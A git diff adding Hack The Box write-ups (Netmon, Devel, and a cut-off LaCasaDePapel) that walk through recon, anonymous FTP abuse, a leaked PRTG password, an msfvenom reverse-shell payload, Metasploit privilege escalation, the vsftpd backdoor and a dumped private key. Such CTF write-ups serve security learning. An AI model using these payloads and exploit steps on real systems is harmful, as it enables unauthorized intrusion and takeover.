+ + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → nmap -sCV -p21,80,135,139,445,5985,47001 10.10.10.152 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 08:36 CET + Nmap scan report for 10.10.10.152 + Host is up (0.035s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp Microsoft ftpd + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + | 02-02-19 11:18PM 1024 .rnd + | 02-25-19 09:15PM <****DIR> inetpub + | 07-16-16 08:18AM <****DIR> PerfLogs + | 02-25-19 09:56PM <****DIR> Program Files + | 02-02-19 11:28PM <****DIR> Program Files (x86) + | 02-03-19 07:08AM <****DIR> Users + |_02-25-19 10:49PM <****DIR> Windows + | ftp-syst: + |_ SYST: Windows_NT + 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) + |_http-server-header: PRTG/18.1.37.13946 + | http-title: Welcome | PRTG Network Monitor (NETMON) + |_Requested resource was /index.htm + |_http-trane-info: Problem with XML parsing of /evox/about + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds + 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-server-header: Microsoft-HTTPAPI/2.0 + |_http-title: Not Found + 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) + |_http-server-header: Microsoft-HTTPAPI/2.0 + |_http-title: Not Found + Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: 31s, deviation: 0s, median: 30s + |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) + | smb-security-mode: + | authentication_level: user + | challenge_response: supported + |_ message_signing: disabled (dangerous, but default) + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2019-12-09T07:37:33 + |_ start_date: 2019-12-09T07:33:41 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 20.27 seconds + +## **Part 2 : Getting User Access** + +Looking at the results, we see that ftp allows us to login as the user account , so we login using the default credentials (anonymous:anonymous:) + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → ftp 10.10.10.152 + Connected to 10.10.10.152. + 220 Microsoft FTP Service + Name (10.10.10.152:nihilist): anonymous + 331 Anonymous access allowed, send identity (e-mail name) as password. + Password: + 230 User logged in. + Remote system type is Windows_NT. + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 02-02-19 11:18PM 1024 .rnd + 02-25-19 09:15PM <****DIR> inetpub + 07-16-16 08:18AM <****DIR> PerfLogs + 02-25-19 09:56PM <****DIR> Program Files + 02-02-19 11:28PM <****DIR> Program Files (x86) + 02-03-19 07:08AM <****DIR> Users + 02-25-19 10:49PM <****DIR> Windows + 226 Transfer complete. + ftp> cd Users + 250 CWD command successful. + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 02-25-19 10:44PM <****DIR> Administrator + 02-02-19 11:35PM <****DIR> Public + 226 Transfer complete. + ftp> cd Public + 250 CWD command successful. + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 02-03-19 07:05AM <****DIR> Documents + 07-16-16 08:18AM <****DIR> Downloads + 07-16-16 08:18AM <****DIR> Music + 07-16-16 08:18AM <****DIR> Pictures + 02-02-19 11:35PM 33 user.txt + 07-16-16 08:18AM <****DIR> Videos + 226 Transfer complete. + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + WARNING! 1 bare linefeeds received in ASCII mode + File may not have transferred correctly. + 226 Transfer complete. + 33 bytes received in 0.0344 seconds (958 bytes/s) + ftp> quit + 221 Goodbye. + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/ ] + → cat user.txt + ddXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it ! we have the user flag. + +## **Part 3 : Getting Root Access** + +In order to find the root flag, we need to enumerate a little bit what lies inside the /ProgramData folder. + + + ftp> cd /ProgramData + 250 CWD command successful. + ftp> dir + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 02-02-19 11:15PM <****DIR> Licenses + 11-20-16 09:36PM <****DIR> Microsoft + 02-02-19 11:18PM <****DIR> Paessler + 02-03-19 07:05AM <****DIR> regid.1991-06.com.microsoft + 07-16-16 08:18AM <****DIR> SoftwareDistribution + 02-02-19 11:15PM <****DIR> TEMP + 11-20-16 09:19PM <****DIR> USOPrivate + 11-20-16 09:19PM <****DIR> USOShared + 02-25-19 09:56PM <****DIR> VMware + 226 Transfer complete. + ftp> cd Paessler + 250 CWD command successful. + ftp> dir + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 12-09-19 02:35AM <****DIR> PRTG Network Monitor + 226 Transfer complete. + +Interesting ! seems like there is a PRTG Service running, let's see if we can get anything out of it. + + + ftp> cd "PRTG Network Monitor" + 250 CWD command successful. + ftp> dir + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 02-02-19 11:40PM <****DIR> Configuration Auto-Backups + 12-09-19 02:34AM <****DIR> Log Database + 02-02-19 11:18PM <****DIR> Logs (Debug) + 02-02-19 11:18PM <****DIR> Logs (Sensors) + 02-02-19 11:18PM <****DIR> Logs (System) + 12-09-19 02:34AM <****DIR> Logs (Web Server) + 02-25-19 07:01PM <****DIR> Monitoring Database + 02-25-19 09:54PM 1189697 PRTG Configuration.dat + 02-25-19 09:54PM 1189697 PRTG Configuration.old + 07-14-18 02:13AM 1153755 PRTG Configuration.old.bak + 12-09-19 02:35AM 1647616 PRTG Graph Data Cache.dat + 02-25-19 10:00PM <****DIR> Report PDFs + 02-02-19 11:18PM <****DIR> System Information Database + 02-02-19 11:40PM <****DIR> Ticket Database + 02-02-19 11:18PM <****DIR> ToDo Database + 226 Transfer complete. + ftp> + +Looks like we have a few configuration files to work with, let's save the "PRTG Configuration.old.bak" one locally and see if we can get anything out of it. + + + ftp> get "PRTG Configuration.old.bak' + 200 PORT command successful. + 550 The system cannot find the file specified. + ftp> get "PRTG Configuration.old.bak" + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 226 Transfer complete. + 1153755 bytes received in 0.516 seconds (2.13 Mbytes/s) + ftp> quit + 221 Goodbye. + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Netmon ] + →nano PRTG\ Configuration.old.bak + + + + <****dbpassword> <****!-- User: prtgadmin --> + PrTg@dmin2018 <****/dbpassword> + +And we have unencrypted credentials ! Let's see if we can use them somewhere. + +![](prg/29_001.png) + +Of course these are the old credentials, so let's update the password to : **PrTg@dmin2019** + +![](prg/29_002.png) + +And we are logged in ! now let's navigate to the Notifications page, into the "Executing Program" tab, where the command injection vulnerability is located. + +![](prg/29_003.png) + +Once the infected notification is created, execute it and check out the ftp C:/Users/Public directory once again. + +![](prg/29_004.png)![](prg/29_005.png) + + + ftp> ls + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 02-03-19 07:05AM <****DIR> Documents + 07-16-16 08:18AM <****DIR> Downloads + 07-16-16 08:18AM <****DIR> Music + 07-16-16 08:18AM <****DIR> Pictures + 02-02-19 11:35PM 33 user.txt + 02-02-19 11:35PM 33 nihilist.txt + 07-16-16 08:18AM <****DIR> Videos + 226 Transfer complete. + ftp> get nihilist.txt + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + WARNING! 1 bare linefeeds received in ASCII mode + File may not have transferred correctly. + 226 Transfer complete. + 33 bytes received in 0.0438 seconds (754 bytes/s) + ftp> quit + 221 Goodbye. + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Netmon ] + → cat nihilist.txt + 30XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/29_graph.png) + diff --git a/Easy/3.md b/Easy/3.md new file mode 100644 index 0000000..cfe0ae3 --- /dev/null +++ b/Easy/3.md @@ -0,0 +1,241 @@ +# Devel Writeup + +![](img/3.png) + +## Introduction : + +Devel was an easy Windows box released back in March 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + **λ nihilist [~] → nmap -sC -sV 10.10.10.5** + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 11:42 CET + Nmap scan report for 10.10.10.5 + Host is up (0.039s latency). + Not shown: 998 filtered ports + PORT STATE SERVICE VERSION + 21/tcp open ftp Microsoft ftpd + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + | 03-18-17 01:06AM <****DIR> aspnet_client + | 03-17-17 04:37PM 689 iisstart.htm + |_03-17-17 04:37PM 184946 welcome.png + | ftp-syst: + |_ SYST: Windows_NT + 80/tcp open http Microsoft IIS httpd 7.5 + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Microsoft-IIS/7.5 + |_http-title: IIS7 + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds + +We see that port 21 is opened, and giving us a ftp service that allows anonymous connections to work with. + +## **Part 2 : Getting User Access** + +The first step is to check if we can download and upload files on the FTP service since it should allow us to be connected as an anonymous user. + + + **λ nihilist [~] → ftp 10.10.10.5** + Connected to 10.10.10.5. + 220 Microsoft FTP Service + Name (10.10.10.5:nihilist): anonymous + 331 Anonymous access allowed, send identity (e-mail name) as password. + Password: + 230 User logged in. + Remote system type is Windows_NT. + + **ftp> dir** + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 03-18-17 01:06AM **IR> aspnet_client + 03-17-17 04:37PM 689 iisstart.htm + 03-17-17 04:37PM 184946 welcome.png + 226 Transfer complete. + + +Now let's see if we can download files and upload files. + + + **ftp> dir** + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 03-18-17 01:06AM **R> aspnet_client + 03-17-17 04:37PM 689 iisstart.htm + 03-17-17 04:37PM 184946 welcome.png + 226 Transfer complete. + + **ftp> get welcome.png** + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + WARNING! 820 bare linefeeds received in ASCII mode + File may not have transferred correctly. + 226 Transfer complete. + 184946 bytes received in 0.285 seconds (634 kbytes/s) + + **ftp> put nihilist.html** + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 226 Transfer complete. + 16 bytes sent in 0.000144 seconds (109 kbytes/s) + + +We have been able to download welcome.png, and upload nihilist.html, let's see if we can browse to our uploaded webpage. + +![](prg/3_001.png) + +As shown above, we have successfully uploaded our webpage, and browsed to it. now let's try to upload a reverse shell and browse to it. To generate the payload named nihilist.aspx, we will be using msfvenom with the -p, LHOST, LPORT and -f flags. We will be using our terminal with the according metasploit module to recieve the meterpreter connection. + +_Terminal n°1:_ + + + **λ nihilist [~/_HTB/Devel] → msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=9001 -f aspx > nihilist.aspx** + [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload + [-] No arch selected, selecting arch: x86 from the payload + No encoder or badchars specified, outputting raw payload + Payload size: 341 bytes + Final size of aspx file: 2824 bytes + + **λ nihilist [~/_HTB/Devel] → msfconsole** + + **msf5 > use exploit/multi/handler** + + **msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp** + payload => windows/meterpreter/reverse_tcp + + **msf5 exploit(multi/handler) > set LHOST 10.10.14.48** + LHOST => 10.10.14.48 + + **msf5 exploit(multi/handler) > set LPORT 9001** + LPORT => 9001 + + **msf5 exploit(multi/handler) > show options** + + Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + + Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 10.10.14.48 yes The listen address (an interface may be specified) + LPORT 9001 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + + +our first terminal is ready to recieve the connection, now we will upload the nihilist.aspx payload, and browse to it, and we'll see if we can get our meterpreter shell. + +_Terminal n°2:_ + + + **λ nihilist [~/_HTB/Devel] → ftp 10.10.10.5** + + Connected to 10.10.10.5. + 220 Microsoft FTP Service + Name (10.10.10.5:nihilist): anonymous + 331 Anonymous access allowed, send identity (e-mail name) as password. + Password: + 230 User logged in. + Remote system type is Windows_NT. + + **ftp> put nihilist.aspx** + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 226 Transfer complete. + 2860 bytes sent in 0.000315 seconds (8.66 Mbytes/s) + ftp> + + + +![](prg/3_002.png) _Terminal n°1:_ + + + **msf5 exploit(multi/handler) > exploit** + + [*] Started reverse TCP handler on 10.10.14.48:9001 + [*] Sending stage (180291 bytes) to 10.10.10.5 + [*] Meterpreter session 1 opened (10.10.14.48:9001 -> 10.10.10.5:49158) at 2019-11-10 13:55:18 +0100 + + **meterpreter > getuid** + Server username: IIS APPPOOL\Web + + **meterpreter > background** + [*] Backgrounding session 1... + + + +We recieved our meterpreter session back, now we need to escalate privileges. First of all we background our meterpreter session, so that we can use the ms10_015 exploit named kitrap0d + + + **meterpreter > background** + [*] Backgrounding session 1... + **msf5 exploit(multi/handler) >** + + **msf5 exploit(multi/handler) > use exploit/windows/local/ms10_015_kitrap0d** + + **msf5 exploit(windows/local/ms10_015_kitrap0d) > set session 1** + session => 1 + + **msf5 exploit(windows/local/ms10_015_kitrap0d) > set lhost 10.10.14.48** + lhost => 10.10.14.48 + + **msf5 exploit(windows/local/ms10_015_kitrap0d) > set lport 9002** + lport => 9002 + + **msf5 exploit(windows/local/ms10_015_kitrap0d) > exploit** + + [*] Started reverse TCP handler on 192.168.0.23:9002 + [*] Launching notepad to host the exploit... + [+] Process 3372 launched. + [*] Reflectively injecting the exploit DLL into 3372... + [*] Injecting exploit into 3372 ... + [*] Exploit injected. Injecting payload into 3372... + [*] Payload injected. Executing exploit... + [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. + [*] Sending stage (179779 bytes) to 10.10.10.5 + [*] Meterpreter session 2 opened (10.10.14.48:9002 -> 10.10.10.5:49159) at 2019-11-10 14:04:56 -0500 + + **meterpreter > getuid** + Server username: NT AUTHORITY\SYSTEM + + +Our exploit worked! It returned with an elevated privileges shell. Now all that is left to do is grabbing the user and root flags. + +## **Part 3 : The Root Access** + +The user flag is located in C:\User\babis\Desktop The root flag is located in C:\Users\Administrator\Desktop + + + c:\Users\babis\Desktop>type user.txt + type user.txt + **XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX** + + c:\Users\Administrator\Desktop>type root.txt + type root.txt + **XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX** + + +And that's it ! we grabbed both the user and root flags. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/3_graph.png) + diff --git a/Easy/30.md b/Easy/30.md new file mode 100644 index 0000000..4b21324 --- /dev/null +++ b/Easy/30.md @@ -0,0 +1,528 @@ +# LaCasaDePapel Writeup + +![](img/30.png) + +## Introduction : + +LaCasaDePapel is an easy Linux box released back in March 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Netmon ] + → ping 10.10.10.131 + PING 10.10.10.131 (10.10.10.131) 56(84) bytes of data. + 64 bytes from 10.10.10.131: icmp_seq=1 ttl=63 time=37.7 ms + 64 bytes from 10.10.10.131: icmp_seq=2 ttl=63 time=140 ms + 64 bytes from 10.10.10.131: icmp_seq=3 ttl=63 time=248 ms + ^C + --- 10.10.10.131 ping statistics --- + 3 packets transmitted, 3 received, 0% packet loss, time 2003ms + rtt min/avg/max/mdev = 37.737/141.928/247.866/85.793 ms + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Netmon ] + → nmap -F 10.10.10.131 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 10:36 CET + Nmap scan report for 10.10.10.131 + Host is up (0.34s latency). + Not shown: 96 closed ports + PORT STATE SERVICE + 21/tcp open ftp + 22/tcp open ssh + 80/tcp open http + 443/tcp open https + + Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Netmon ] + → nmap -sCV -p21,22,80,443 10.10.10.131 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 10:36 CET + Nmap scan report for 10.10.10.131 + Host is up (0.19s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 2.3.4 + 22/tcp open ssh OpenSSH 7.9 (protocol 2.0) + | ssh-hostkey: + | 2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA) + | 256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA) + |_ 256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519) + 80/tcp open http Node.js (Express middleware) + |_http-title: La Casa De Papel + 443/tcp open ssl/http Node.js Express framework + | http-auth: + | HTTP/1.1 401 Unauthorized\x0D + |_ Server returned status 401 but no WWW-Authenticate header. + | ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel + | Not valid before: 2019-01-27T08:35:30 + |_Not valid after: 2029-01-24T08:35:30 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + | tls-nextprotoneg: + | http/1.1 + |_ http/1.0 + Service Info: OS: Unix + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 30.73 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up vsftpd 2.3.4 running on port 21, Let's run a quick searchsploit command to see if there are any popular exploits for us to use. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → searchsploit vsftpd 2.3 + ---------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ---------------- ---------------------------------------- + vsftpd 2.3.2 - | exploits/linux/dos/16270.c + vsftpd 2.3.4 - | exploits/unix/remote/17491.rb + ---------------- ---------------------------------------- + Shellcodes: No Result + + + +Seems like there is a .rb script for us to use, which is most probably available for us within metasploit. Let's fire up msfconsole to see if we're correct. + + + msf5 > search vsftpd 2.3.4 + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 auxiliary/gather/teamtalk_creds normal No TeamTalk Gather Credentials + 1 exploit/multi/http/oscommerce_installer_unauth_code_exec 2018-04-30 excellent Yes osCommerce Installer Unauthenticated Code Execution + 2 exploit/multi/http/struts2_namespace_ognl 2018-08-22 excellent Yes Apache Struts 2 Namespace Redirect OGNL Injection + 3 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution + + + +The third one seems to be interesting , let's use it. + + + msf5 > use 3 + msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options + + Module options (exploit/unix/ftp/vsftpd_234_backdoor): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 21 yes The target port (TCP) + + + Exploit target: + + Id Name + -- ---- + 0 Automatic + + + msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.131 + RHOSTS => 10.10.10.131 + msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit + + +The only option that needs to be set is the RHOSTS one, we then hit exploit and see what results we're getting : + + + msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit + + [*] 10.10.10.131:21 - Banner: 220 (vsFTPd 2.3.4) + [*] 10.10.10.131:21 - USER: 331 Please specify the password. + [*] Exploit completed, but no session was created. + + + +The exploit doesn't seem to work, Let's locate it, then copy it onto our local directory to examine it a little closer. + + + msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exit + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → mkdir CasaDePapel + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → cd CasaDePapel + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/CasaDePapel ] + → locate 17491 + /opt/metasploit/vendor/bundle/ruby/2.6.0/gems/metasploit-credential-3.0.3/db/migrate/20140722174919_old_creds_to_new_creds.rb + /usr/share/exploitdb/exploits/unix/remote/17491.rb + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/CasaDePapel ] + → cp /usr/share/exploitdb/exploits/unix/remote/17491.rb . + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/CasaDePapel ] + → nano 17491.rb + + +Looking at the code, we see that the exploit tries to connect to the 6200th port. Let's use telnet to see if we can connect to it manually. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/CasaDePapel ] + → telnet 10.10.10.131 6200 + Trying 10.10.10.131... + Connected to 10.10.10.131. + Escape character is '^]'. + Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman + ls + Variables: $tokyo + ls + Variables: $tokyo + whoami + PHP Warning: Use of undefined constant whoami - assumed 'whoami' (this will throw an Error in a future version of PHP) in phar://eval()'d code on line 1 + help + help Show a list of commands. Type `help [foo]` for information about [foo]. Aliases: ? + ls List local, instance or class variables, methods and constants. Aliases: list, dir + dump Dump an object or primitive. + doc Read the documentation for an object, class, constant, method or property. Aliases: rtfm, man + show Show the code for an object, class, constant, method or property. + wtf Show the backtrace of the most recent exception. Aliases: last-exception, wtf? + whereami Show where you are in the code. + throw-up Throw an exception or error out of the Psy Shell. + timeit Profiles with a timer. + trace Show the current call stack. + buffer Show (or clear) the contents of the code input buffer. Aliases: buf + clear Clear the Psy Shell screen. + edit Open an external editor. Afterwards, get produced code in input buffer. + sudo Evaluate PHP code, bypassing visibility restrictions. + history Show the Psy Shell history. Aliases: hist + exit End the current session and return to caller. Aliases: quit, q + whereami + + From phar:///usr/bin/psysh/src/functions.php:307: + + 302| $config['colorMode'] = Configuration::COLOR_MODE_FORCED; + 303| } elseif ($input->getOption('no-color')) { + 304| $config['colorMode'] = Configuration::COLOR_MODE_DISABLED; + 305| } + 306| + > 307| $shell = new Shell(new Configuration($config)); + 308| + 309| + 310| if ($usageException !== null || $input->getOption('help')) { + 311| if ($usageException !== null) { + 312| echo $usageException->getMessage() . PHP_EOL . PHP_EOL; + + history + show $tokyo + > 2| class Tokyo { + 3| private function sign($caCert,$userCsr) { + 4| $caKey = file_get_contents('/home/nairobi/ca.key'); + 5| $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']); + 6| openssl_x509_export($userCert, $userCertOut); + 7| return $userCertOut; + 8| } + 9| } + + + + +Interestingly enough, the 4th line seems to pass the contents of a file named ca.key into the $caKey variable. Let's see what the contents of the ca.key are ourselves. + + + file_get_contents('/home/nairobi/ca.key'); + => """ + -----BEGIN PRIVATE KEY-----\n + MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPczpU3s4Pmwdb\n + 7MJsi//m8mm5rEkXcDmratVAk2pTWwWxudo/FFsWAC1zyFV4w2KLacIU7w8Yaz0/\n + 2m+jLx7wNH2SwFBjJeo5lnz+ux3HB+NhWC/5rdRsk07h71J3dvwYv7hcjPNKLcRl\n + uXt2Ww6GXj4oHhwziE2ETkHgrxQp7jB8pL96SDIJFNEQ1Wqp3eLNnPPbfbLLMW8M\n + YQ4UlXOaGUdXKmqx9L2spRURI8dzNoRCV3eS6lWu3+YGrC4p732yW5DM5Go7XEyp\n + s2BvnlkPrq9AFKQ3Y/AF6JE8FE1d+daVrcaRpu6Sm73FH2j6Xu63Xc9d1D989+Us\n + PCe7nAxnAgMBAAECggEAagfyQ5jR58YMX97GjSaNeKRkh4NYpIM25renIed3C/3V\n + Dj75Hw6vc7JJiQlXLm9nOeynR33c0FVXrABg2R5niMy7djuXmuWxLxgM8UIAeU89\n + 1+50LwC7N3efdPmWw/rr5VZwy9U7MKnt3TSNtzPZW7JlwKmLLoe3Xy2EnGvAOaFZ\n + /CAhn5+pxKVw5c2e1Syj9K23/BW6l3rQHBixq9Ir4/QCoDGEbZL17InuVyUQcrb+\n + q0rLBKoXObe5esfBjQGHOdHnKPlLYyZCREQ8hclLMWlzgDLvA/8pxHMxkOW8k3Mr\n + uaug9prjnu6nJ3v1ul42NqLgARMMmHejUPry/d4oYQKBgQDzB/gDfr1R5a2phBVd\n + I0wlpDHVpi+K1JMZkayRVHh+sCg2NAIQgapvdrdxfNOmhP9+k3ue3BhfUweIL9Og\n + 7MrBhZIRJJMT4yx/2lIeiA1+oEwNdYlJKtlGOFE+T1npgCCGD4hpB+nXTu9Xw2bE\n + G3uK1h6Vm12IyrRMgl/OAAZwEQKBgQDahTByV3DpOwBWC3Vfk6wqZKxLrMBxtDmn\n + sqBjrd8pbpXRqj6zqIydjwSJaTLeY6Fq9XysI8U9C6U6sAkd+0PG6uhxdW4++mDH\n + CTbdwePMFbQb7aKiDFGTZ+xuL0qvHuFx3o0pH8jT91C75E30FRjGquxv+75hMi6Y\n + sm7+mvMs9wKBgQCLJ3Pt5GLYgs818cgdxTkzkFlsgLRWJLN5f3y01g4MVCciKhNI\n + ikYhfnM5CwVRInP8cMvmwRU/d5Ynd2MQkKTju+xP3oZMa9Yt+r7sdnBrobMKPdN2\n + zo8L8vEp4VuVJGT6/efYY8yUGMFYmiy8exP5AfMPLJ+Y1J/58uiSVldZUQKBgBM/\n + ukXIOBUDcoMh3UP/ESJm3dqIrCcX9iA0lvZQ4aCXsjDW61EOHtzeNUsZbjay1gxC\n + 9amAOSaoePSTfyoZ8R17oeAktQJtMcs2n5OnObbHjqcLJtFZfnIarHQETHLiqH9M\n + WGjv+NPbLExwzwEaPqV5dvxiU6HiNsKSrT5WTed/AoGBAJ11zeAXtmZeuQ95eFbM\n + 7b75PUQYxXRrVNluzvwdHmZEnQsKucXJ6uZG9skiqDlslhYmdaOOmQajW3yS4TsR\n + aRklful5+Z60JV/5t2Wt9gyHYZ6SYMzApUanVXaWCCNVoeq+yvzId0st2DRl83Vc\n + 53udBEzjt3WPqYGkkDknVhjD\n + -----END PRIVATE KEY-----\n + """ + + + +Seems like we have a private SSL key to work with ! let's save it locally as ca.key. Do not forget to remove the \n and the spaces at the beginning of the lines otherwise it won't be the exact same SSH key. Earlier on, our nmap scan picked up the 443rd port open running https, let's browse to it and see what we can work with. + +![](prg/30_001.png) + +Seems like we need to provide a certificate. So let's first add the casadepapel.htb hostname to our /etc/hosts file. + + + 127.0.0.1 localhost + 127.0.1.1 Prometheus + 10.10.10.131 casadepapel.htb + + +navigating over to https://10.10.10.131/ > connection > more information > security > view certificate > details > export and now we have the ca.key and ca.crt + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl pkey -in ca.key -pubout + -----BEGIN PUBLIC KEY----- + MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz3M6VN7OD5sHW+zCbIv/ + 5vJpuaxJF3A5q2rVQJNqU1sFsbnaPxRbFgAtc8hVeMNii2nCFO8PGGs9P9pvoy8e + 8DR9ksBQYyXqOZZ8/rsdxwfjYVgv+a3UbJNO4e9Sd3b8GL+4XIzzSi3EZbl7dlsO + hl4+KB4cM4hNhE5B4K8UKe4wfKS/ekgyCRTRENVqqd3izZzz232yyzFvDGEOFJVz + mhlHVypqsfS9rKUVESPHczaEQld3kupVrt/mBqwuKe99sluQzORqO1xMqbNgb55Z + D66vQBSkN2PwBeiRPBRNXfnWla3Gkabukpu9xR9o+l7ut13PXdQ/fPflLDwnu5wM + ZwIDAQAB + -----END PUBLIC KEY----- + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl x509 -in ca.crt -pubkey -noout + -----BEGIN PUBLIC KEY----- + MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz3M6VN7OD5sHW+zCbIv/ + 5vJpuaxJF3A5q2rVQJNqU1sFsbnaPxRbFgAtc8hVeMNii2nCFO8PGGs9P9pvoy8e + 8DR9ksBQYyXqOZZ8/rsdxwfjYVgv+a3UbJNO4e9Sd3b8GL+4XIzzSi3EZbl7dlsO + hl4+KB4cM4hNhE5B4K8UKe4wfKS/ekgyCRTRENVqqd3izZzz232yyzFvDGEOFJVz + mhlHVypqsfS9rKUVESPHczaEQld3kupVrt/mBqwuKe99sluQzORqO1xMqbNgb55Z + D66vQBSkN2PwBeiRPBRNXfnWla3Gkabukpu9xR9o+l7ut13PXdQ/fPflLDwnu5wM + ZwIDAQAB + -----END PUBLIC KEY----- + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl x509 -in ca.crt -pubkey -noout | grep md5sum + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl x509 -in ca.crt -pubkey -noout | md5sum + 71e2b2ca7b610c24d132e3e4c06daf0c - + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl pkey -in ca.key -pubout | md5sum + 71e2b2ca7b610c24d132e3e4c06daf0c - + + + +so here we see that the md5 hashes of both the public keys are the same, therefore it means that the public key is valid. From there, we need to generate a 4096 bit key and create a certificate signing request that we'll name client.csr + + + λ nihilist [ 10.10.14.7/23 ] [~/_HTB/CasaDePapel] + → openssl genrsa -out client.key 4096 + Generating RSA private key, 4096 bit long modulus 